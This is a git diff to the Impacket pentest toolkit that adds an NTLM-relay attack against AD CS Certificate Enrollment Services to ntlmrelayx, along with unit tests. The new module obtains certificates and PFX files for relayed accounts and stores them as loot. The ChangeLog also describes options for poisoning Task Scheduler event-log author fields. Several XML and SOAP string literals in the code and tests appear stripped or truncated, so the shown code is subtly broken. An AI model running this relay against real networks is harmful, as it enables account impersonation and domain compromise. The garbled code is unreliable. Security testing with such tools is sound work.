diff --git a/ChangeLog.md b/ChangeLog.md index bf8186c4..4ec87aaa 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -9,6 +9,9 @@ https://github.com/fortra/impacket/commits/master 1. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added `--adcs-ces` support for relaying to AD CS Certificate Enrollment Services (CES/WSTEP). CES mode reuses the existing HTTP relay authentication, target, template, listener, SMB2, and loot directory behavior; generates its CSR automatically; and writes DER, PKCS#7, and PFX artifacts to the configured loot directory. + * [atexec.py](examples/atexec.py): * Added mutually exclusive `-author-log` and `-overflow` options to poison or overflow the Task Scheduler Security Event 4698 Author field via task XML RegistrationInfo. diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 394267d9..ac40dfbc 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -210,6 +210,7 @@ def start_servers(options, threads): c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal) c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) + c.setIsCESAttack(options.adcs_ces) c.setADCSOptions(options.template) c.setEnumTemplates(options.enum_templates) c.setIsShadowCredentialsAttack(options.shadow_credentials) @@ -434,7 +435,8 @@ if __name__ == '__main__': # AD CS options adcsoptions = parser.add_argument_group("AD CS attack options") adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') - adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') + adcsoptions.add_argument('--adcs-ces', action='store_true', default=False, help='Enable AD CS Certificate Enrollment Services (CES/WSTEP) relay attack') + adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine for computer accounts and User for user accounts.') adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') adcsoptions.add_argument('--altsid', action='store', dest='altSid', metavar="SID", required=False, help='Object SID to embed in szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). ' @@ -474,6 +476,25 @@ if __name__ == '__main__': logging.error(str(e)) sys.exit(1) + if options.adcs_ces: + incompatible_modes = [] + if options.adcs: + incompatible_modes.append('--adcs') + if options.sccm_policies: + incompatible_modes.append('--sccm-policies') + if options.sccm_dp: + incompatible_modes.append('--sccm-dp') + if incompatible_modes: + parser.error('--adcs-ces cannot be combined with %s' % ', '.join(incompatible_modes)) + if options.altname or options.altSid or options.enum_templates: + parser.error('--altname, --altsid and --enum-templates are not supported with --adcs-ces') + if options.target is None and options.tf is None: + parser.error('--adcs-ces requires -t or -tf; reflection mode is not supported') + if options.target is not None and options.tf is not None: + parser.error('--adcs-ces accepts either -t or -tf, not both') + if options.socks or options.interactive or options.r is not None: + parser.error('--adcs-ces cannot be combined with SOCKS, interactive, or HTTP-to-SMB redirect mode') + if options.https and options.certfile is None: parser.error('--https requires --certfile') @@ -565,7 +586,7 @@ if __name__ == '__main__': if not options.no_rdp_server: RELAY_SERVERS.append(RDPRelayServer) - if targetSystem is not None and options.w: + if targetSystem is not None and options.tf is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 7e29a3fd..5237f2df 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -19,6 +19,7 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import CESAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack @@ -27,7 +28,7 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDP PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, CESAttack, SCCMPoliciesAttack, SCCMDPAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -38,7 +39,9 @@ class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): def run(self): - if self.config.isADCSAttack: + if self.config.isCESAttack: + CESAttack._run(self) + elif self.config.isADCSAttack: ADCSAttack._run(self) elif self.config.isSCCMPoliciesAttack: SCCMPoliciesAttack._run(self) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index 5a6dc608..7a7ed694 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -111,9 +111,7 @@ class ADCSAttack: LOG.info("Certificate enumeration complete!") return - current_template = self.config.template - if current_template is None: - current_template = "Machine" if self.username.endswith("$") else "User" + current_template = self.get_template(self.username, self.config.template) # Template name might be UTF-8 original_template = current_template @@ -184,6 +182,12 @@ class ADCSAttack: if self.config.altName: LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) + @staticmethod + def get_template(username, template=None): + if template is not None: + return template + return "Machine" if username.endswith("$") else "User" + @staticmethod def generate_csr(key, CN, altName, csr_type=Encoding.PEM, altSid=None): LOG.info("Generating CSR...") diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/cesattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/cesattack.py new file mode 100644 index 00000000..90e8fb95 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/cesattack.py @@ -0,0 +1,253 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Microsoft Certificate Enrollment Services (CES/WSTEP) relay attack. + +import base64 +import binascii +import os +import re +import uuid +import xml.etree.ElementTree as ET +from html import escape +from urllib.parse import urlparse, urlunparse + +from cryptography import x509 +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.serialization import Encoding, pkcs7 + +from impacket import LOG +from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack + + +SOAP_NS = "http://www.w3.org/2003/05/soap-envelope" +ADDR_NS = "http://www.w3.org/2005/08/addressing" +WST_NS = "http://docs.oasis-open.org/ws-sx/ws-trust/200512" +WSS_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" +WSS_UTILITY_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" +AUTHZ_NS = "http://schemas.xmlsoap.org/ws/2006/12/authorization" +ENROLL_NS = "http://schemas.microsoft.com/windows/pki/2009/01/enrollment" +TOKEN_TYPE_X509V3 = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" +REQUEST_TYPE_ISSUE = WST_NS + "/Issue" +VALUE_TYPE_PKCS10 = ENROLL_NS + "#PKCS10" +ENCODING_BASE64 = WSS_NS + "#base64binary" +CES_ACTION = ENROLL_NS + "/RST/wstep" +CES_MAX_RESPONSE = 10 * 1024 * 1024 + +_WHITESPACE_RE = re.compile(r"\s+") + + +class CESConfigurationError(ValueError): + pass + + +def soap_http_headers(content_length): + return { + "Content-Type": "application/soap+xml; charset=utf-8", + "User-Agent": "MS-WebServices/1.0", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "Pragma": "no-cache", + "Content-Length": str(content_length), + } + + +def derive_subject_cn(relayed_username): + if not relayed_username: + return "CES-Enrollment" + value = relayed_username.split("\\")[-1].split("/")[-1].split("@")[0] + return value or "CES-Enrollment" + + +def build_additional_context(template): + return '%s' % ( + AUTHZ_NS, escape(template, quote=True) + ) + + +def _has_explicit_port(netloc): + authority = netloc.rsplit("@", 1)[-1] + if authority.startswith("["): + closing_bracket = authority.find("]") + return closing_bracket >= 0 and authority[closing_bracket + 1:].startswith(":") + return ":" in authority + + +def build_ces_soap(target_url, csr_b64, template, message_id=None): + if not csr_b64: + raise CESConfigurationError("CSR data is required") + if not template: + raise CESConfigurationError("Certificate template is required") + parsed = urlparse(target_url) + # Rebuild the URL without any identity/userinfo. Keep path, query and an + # explicitly supplied port, including an explicit default port. + host = parsed.hostname + if ":" in host and not host.startswith("["): + host = "[%s]" % host + if _has_explicit_port(parsed.netloc): + host = "%s:%d" % (host, parsed.port) + to_url = urlunparse((parsed.scheme, host, parsed.path or "/", "", parsed.query, "")) + mid = message_id or "urn:uuid:%s" % uuid.uuid4() + return """ + + + {action} + {message_id} + {to} + + + + {token_type} + {request_type} + {csr} + {context} + + + +""".format( + addr=ADDR_NS, soap=SOAP_NS, action=escape(CES_ACTION), + message_id=escape(mid), to=escape(to_url), wst=WST_NS, + token_type=escape(TOKEN_TYPE_X509V3), request_type=escape(REQUEST_TYPE_ISSUE), + value_type=escape(VALUE_TYPE_PKCS10), encoding=escape(ENCODING_BASE64), + utility=WSS_UTILITY_NS, wss=WSS_NS, csr=escape(csr_b64), + context=build_additional_context(template), + ) + + +def target_url(target, relay_client=None): + scheme = target.scheme.lower() + host = target.hostname + if ":" in host and not host.startswith("["): + host = "[%s]" % host + if _has_explicit_port(target.netloc): + host = "%s:%d" % (host, target.port) + path = getattr(relay_client, "path", None) or target.path or "/" + query = getattr(relay_client, "query", None) + if query is None: + query = target.query + return urlunparse((scheme, host, path, "", query, "")) + + +def extract_response_tokens(xml_bytes): + if not xml_bytes: + raise RuntimeError("CES returned an empty response") + if len(xml_bytes) > CES_MAX_RESPONSE: + raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE) + try: + root = ET.fromstring(xml_bytes) + except ET.ParseError as exc: + raise RuntimeError("CES returned malformed XML: %s" % exc) from exc + + fault = root.find(".//{%s}Fault" % SOAP_NS) + if fault is not None: + reason = fault.find(".//{%s}Text" % SOAP_NS) + text = (reason.text or "").strip() if reason is not None else "unspecified fault" + raise RuntimeError("CES SOAP fault: %s" % text[:1000]) + + cert_tokens = [] + p7b_tokens = [] + for node in root.findall(".//{%s}BinarySecurityToken" % WSS_NS): + value = _WHITESPACE_RE.sub("", node.text or "") + if not value: + continue + value_type = node.attrib.get("ValueType", "") + if "X509v3" in value_type: + cert_tokens.append(value) + elif "PKCS7" in value_type: + p7b_tokens.append(value) + return cert_tokens, p7b_tokens + + +def decode_certificate(value): + try: + data = base64.b64decode(value, validate=True) + certificate = x509.load_der_x509_certificate(data) + except (binascii.Error, ValueError) as exc: + raise RuntimeError("CES returned an invalid X509 certificate token") from exc + return data, certificate + + +def decode_pkcs7(value): + try: + data = base64.b64decode(value, validate=True) + pkcs7.load_der_pkcs7_certificates(data) + except (binascii.Error, ValueError) as exc: + raise RuntimeError("CES returned an invalid PKCS#7 token") from exc + return data + + +class CESAttack: + @staticmethod + def _read_response(response): + body = response.read(CES_MAX_RESPONSE + 1) + if len(body) > CES_MAX_RESPONSE: + # Drain the connection without retaining additional untrusted data. + while response.read(65536): + pass + raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE) + return body + + def _run(self): + identity = "%s\\%s" % (self.domain, self.username) if self.domain else self.username + template = ADCSAttack.get_template(self.username, self.config.template) + try: + key = rsa.generate_private_key(public_exponent=65537, key_size=4096) + csr = ADCSAttack.generate_csr(key, derive_subject_cn(identity), None, csr_type=Encoding.DER) + csr_b64 = base64.b64encode(csr).decode("ascii") + url = target_url(self.target, self.relay_client) + soap = build_ces_soap(url, csr_b64, template) + body = soap.encode("utf-8") + path = self.relay_client.path or "/" + if self.relay_client.query: + path += "?" + self.relay_client.query + + LOG.info("Requesting a certificate for %s using CES template %s", identity, template) + # self.client is the already authenticated HTTP(S) connection. + self.client.request("POST", path, body=body, headers=soap_http_headers(len(body))) + response = self.client.getresponse() + response_body = self._read_response(response) + if response.status >= 400: + diagnostic = response_body[:2000].decode("utf-8", errors="replace") + raise RuntimeError("CES returned HTTP %d %s: %s" % (response.status, response.reason, diagnostic)) + + cert_tokens, p7b_tokens = extract_response_tokens(response_body) + cert_der = certificate = None + p7b_der = None + if cert_tokens: + cert_der, certificate = decode_certificate(cert_tokens[-1]) + if p7b_tokens: + p7b_der = decode_pkcs7(p7b_tokens[0]) + + if not os.path.isdir(self.config.lootdir): + os.makedirs(self.config.lootdir, exist_ok=True) + output_name = ADCSAttack._sanitize_filename(identity) + if cert_der is not None: + cert_path = os.path.join(self.config.lootdir, output_name + ".cer") + with open(cert_path, "wb") as output: + output.write(cert_der) + LOG.info("Saved issued CES certificate: %s", cert_path) + else: + LOG.warning("CES response did not contain an X509v3 certificate; PFX was not created") + + if p7b_der is not None: + p7b_path = os.path.join(self.config.lootdir, output_name + ".p7b") + with open(p7b_path, "wb") as output: + output.write(p7b_der) + LOG.info("Saved CES PKCS#7 response: %s", p7b_path) + else: + LOG.warning("CES response did not contain a PKCS#7 token") + + if certificate is not None: + pfx_path = os.path.join(self.config.lootdir, output_name + ".pfx") + with open(pfx_path, "wb") as output: + output.write(ADCSAttack.generate_pfx(key, certificate)) + LOG.info("Saved CES PFX: %s", pfx_path) + except Exception as exc: + LOG.error("CES SOAP enrollment failed: %s", exc) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 2942275d..8cd0a113 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -102,6 +102,7 @@ class NTLMRelayxConfig: # AD CS attack options self.isADCSAttack = False + self.isCESAttack = False self.template = None self.altName = None self.altSid = None @@ -273,6 +274,9 @@ class NTLMRelayxConfig: def setIsADCSAttack(self, isADCSAttack): self.isADCSAttack = isADCSAttack + def setIsCESAttack(self, isCESAttack): + self.isCESAttack = isCESAttack + def setEnumTemplates(self, enumTemplates): self.enumTemplates = enumTemplates diff --git a/tests/misc/test_ntlmrelayx_adcs.py b/tests/misc/test_ntlmrelayx_adcs.py index 066672e5..380835a2 100644 --- a/tests/misc/test_ntlmrelayx_adcs.py +++ b/tests/misc/test_ntlmrelayx_adcs.py @@ -25,6 +25,11 @@ class ADCSCertificateSigningRequestTests(unittest.TestCase): def setUpClass(cls): cls.key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + def test_template_defaults_match_relayed_account_type(self): + self.assertEqual(ADCSAttack.get_template("alice"), "User") + self.assertEqual(ADCSAttack.get_template("WORKSTATION$"), "Machine") + self.assertEqual(ADCSAttack.get_template("alice", "CustomTemplate"), "CustomTemplate") + def test_generate_pem_csr_without_subject_or_extensions(self): data = ADCSAttack.generate_csr(self.key, None, None) request = x509.load_pem_x509_csr(data) diff --git a/tests/misc/test_ntlmrelayx_ces.py b/tests/misc/test_ntlmrelayx_ces.py new file mode 100644 index 00000000..e7e63d5d --- /dev/null +++ b/tests/misc/test_ntlmrelayx_ces.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. + +import base64 +import io +import os +import tempfile +import unittest +from datetime import datetime, timedelta, timezone +from types import SimpleNamespace +from unittest.mock import patch +from urllib.parse import urlparse + +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.serialization import pkcs12, pkcs7 +from cryptography.x509.oid import NameOID + +from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import ( + ADDR_NS, + AUTHZ_NS, + CES_ACTION, + CESAttack, + SOAP_NS, + WSS_NS, + build_ces_soap, + decode_certificate, + decode_pkcs7, + derive_subject_cn, + extract_response_tokens, + target_url, +) + + +class CESHelperTests(unittest.TestCase): + def test_subject_common_name_derivation(self): + self.assertEqual(derive_subject_cn("DOMAIN\\machine$"), "machine$") + self.assertEqual(derive_subject_cn("DOMAIN/user@example.test"), "user") + self.assertEqual(derive_subject_cn(""), "CES-Enrollment") + + def test_soap_escapes_values_and_preserves_target(self): + soap = build_ces_soap( + "https://DOMAIN%5Cuser@[2001:db8::1]:443/service.svc/CES?a=1&b=2", + "Y3Ny", + "Machine&A", + message_id="urn:uuid:test", + ) + self.assertIn('xmlns:a="%s"' % ADDR_NS, soap) + self.assertIn('xmlns:s="%s"' % SOAP_NS, soap) + self.assertIn(CES_ACTION, soap) + self.assertIn("Machine&A", soap) + self.assertIn('' + '\n%s\n' + '%s' + '') % ( + SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(), + base64.b64encode(cert_der).decode()) + cert_tokens, p7b_tokens = extract_response_tokens(xml.encode()) + decoded_der, decoded_cert = decode_certificate(cert_tokens[-1]) + self.assertEqual(decoded_der, cert_der) + self.assertEqual(decoded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256())) + self.assertEqual(decode_pkcs7(p7b_tokens[0]), p7b_der) + + def test_fault_and_malformed_response(self): + fault = ('' + 'denied') % SOAP_NS + with self.assertRaisesRegex(RuntimeError, "SOAP fault: denied"): + extract_response_tokens(fault.encode()) + with self.assertRaisesRegex(RuntimeError, "malformed XML"): + extract_response_tokens(b"' + '%s' + '%s' + '') % ( + SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(), + base64.b64encode(cert_der).decode()) + connection = self.Connection(self.Response(xml.encode())) + with tempfile.TemporaryDirectory() as directory: + attack = CESAttack() + attack.domain = "DOMAIN" + attack.username = "machine$" + attack.target = urlparse("https://ca.example.test/service.svc/CES?q=1") + attack.relay_client = SimpleNamespace(path="/service.svc/CES", query="q=1") + attack.client = connection + attack.config = SimpleNamespace(template=None, lootdir=directory) + with patch( + "impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack.rsa.generate_private_key", + return_value=key, + ): + attack._run() + + self.assertEqual(len(connection.requests), 1) + method, path, body, headers = connection.requests[0] + self.assertEqual((method, path), ("POST", "/service.svc/CES?q=1")) + self.assertEqual(headers["Content-Length"], str(len(body))) + self.assertIn(b"Machine", body) + self.assertEqual(sorted(os.listdir(directory)), [ + "DOMAIN_machine.cer", "DOMAIN_machine.p7b", "DOMAIN_machine.pfx" + ]) + with open(os.path.join(directory, "DOMAIN_machine.pfx"), "rb") as pfx_file: + loaded_key, loaded_cert, chain = pkcs12.load_key_and_certificates(pfx_file.read(), None) + self.assertIsNotNone(loaded_key) + self.assertEqual(loaded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256())) + self.assertEqual(chain, []) + + +if __name__ == "__main__": + unittest.main(verbosity=1)